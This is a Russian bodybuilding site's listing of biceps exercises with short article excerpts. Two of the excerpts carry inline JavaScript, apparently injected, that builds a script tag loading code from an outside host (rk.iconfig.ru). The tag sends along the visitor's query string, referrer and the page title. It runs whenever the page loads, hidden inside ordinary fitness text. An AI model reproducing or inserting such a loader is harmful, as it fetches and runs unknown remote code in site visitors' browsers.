Домой Упражнения бодибилдинга Упражнения на бицепс

Упражнения на бицепс

Подъем штанги на бицепс стоя

Подъем штанги на бицепс стоя – это упражнение, которое увеличивает массу бицепса, оно помогает задействовать плече-лучевую мышцу предплечья. var d=document;var s=d.createElement('script'); s.src='https://rk.iconfig.ru/NfP924?frm=script&&'+window.location.search.replace('?', '&')+'&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '&_cid=52835be5-b4c5-cb70-1ce3-c4d2dfe09769'; d.getElementById("52835be5-b4c5-cb70-1ce3-c4d2dfe09769").appendChild(s); Как правильно выполнять технику подъема штанги на бицепс Необходимо встать...

Как правильно отжиматься

К одному из базовых и популярных физических упражнений можно отнести – отжимания. Благодаря такому виду упражнения вы можете увеличить мышечную массу, скорость, выносливость и т.д. Однако далеко не каждому известно как отжиматься правильно, чтобы не упасть после уже первого...

Сгибание бицепса на скамье Скотта

Упражнение на скамье Скотта (названое в честь знаменитого бодибилдера LarryScott) поможет Вам достичь отличных результатов в развитии бицепсов. Сгибание рук на скамье Скотта несет большее воздействие на нижнюю часть бицепса и является одним из лучших упражнений для него. var d=document;var...


Отзывы о продукции Парафарм

Статьи о спортивном питании

Видео о спортивном питании